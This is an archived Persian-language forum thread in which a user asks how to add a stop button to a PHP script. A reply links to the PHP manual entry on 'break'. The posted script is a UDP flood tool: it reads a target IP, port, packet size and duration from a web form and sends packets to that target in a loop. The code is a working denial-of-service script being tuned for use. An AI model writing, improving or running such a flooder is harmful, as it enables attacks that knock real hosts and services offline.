PDA

View Full Version : متوقف کردن حلقه while



ciph3r
پنج شنبه 22 مرداد 1394, 18:35 عصر
سلام دوستان
من یک دکمه دارم که بعد از وارد کردن آی پی و پورت و سایز و تایم شروع می کنه به ارسال پکت و این ارسال تا زمانه کار می کند که کاربر تایم آن را وارد کرده باشه
و این ارسال در حلقه بی نهایت while قرار دارد!
حالا من می خواهم اگر دکمه دیگری را زدم این ارسال پکت متوقف بشه !
چطور این کار را بکنم ؟

اینم کد کد زیر بدون دکمه های شروع و stop :


$ip = $_POST['ip'];
$port = $_POST['port'];
$size = $_POST['size'];
$exec_time = $_POST['time'];

$out = str_repeat("A", $size);
$time = time();
$max_time = $time+$exec_time;
while(1){

if(time()>$max_time) break;
else{
$socket = stream_socket_client("udp://$ip:$port");
if ($socket) {
stream_set_write_buffer($socket,0);
if( stream_socket_sendto($socket,$out))
{
echo "success";
}
else
{
echo "not success";
}
}
}

if(isset($_POST['action']))
{
echo "fff";

exec("kill $socket");
break;
}
fclose($socket);
}

reza_alie
پنج شنبه 22 مرداد 1394, 19:29 عصر
سلام به این سایت سری بزنید


http://php.net/manual/en/control-structures.break.php (http://php.net/manual/en/control-structures.break.php)


-------------------------------------------------------------------
انجام پروژه های دانشجویی:alie6798[at]gmail.com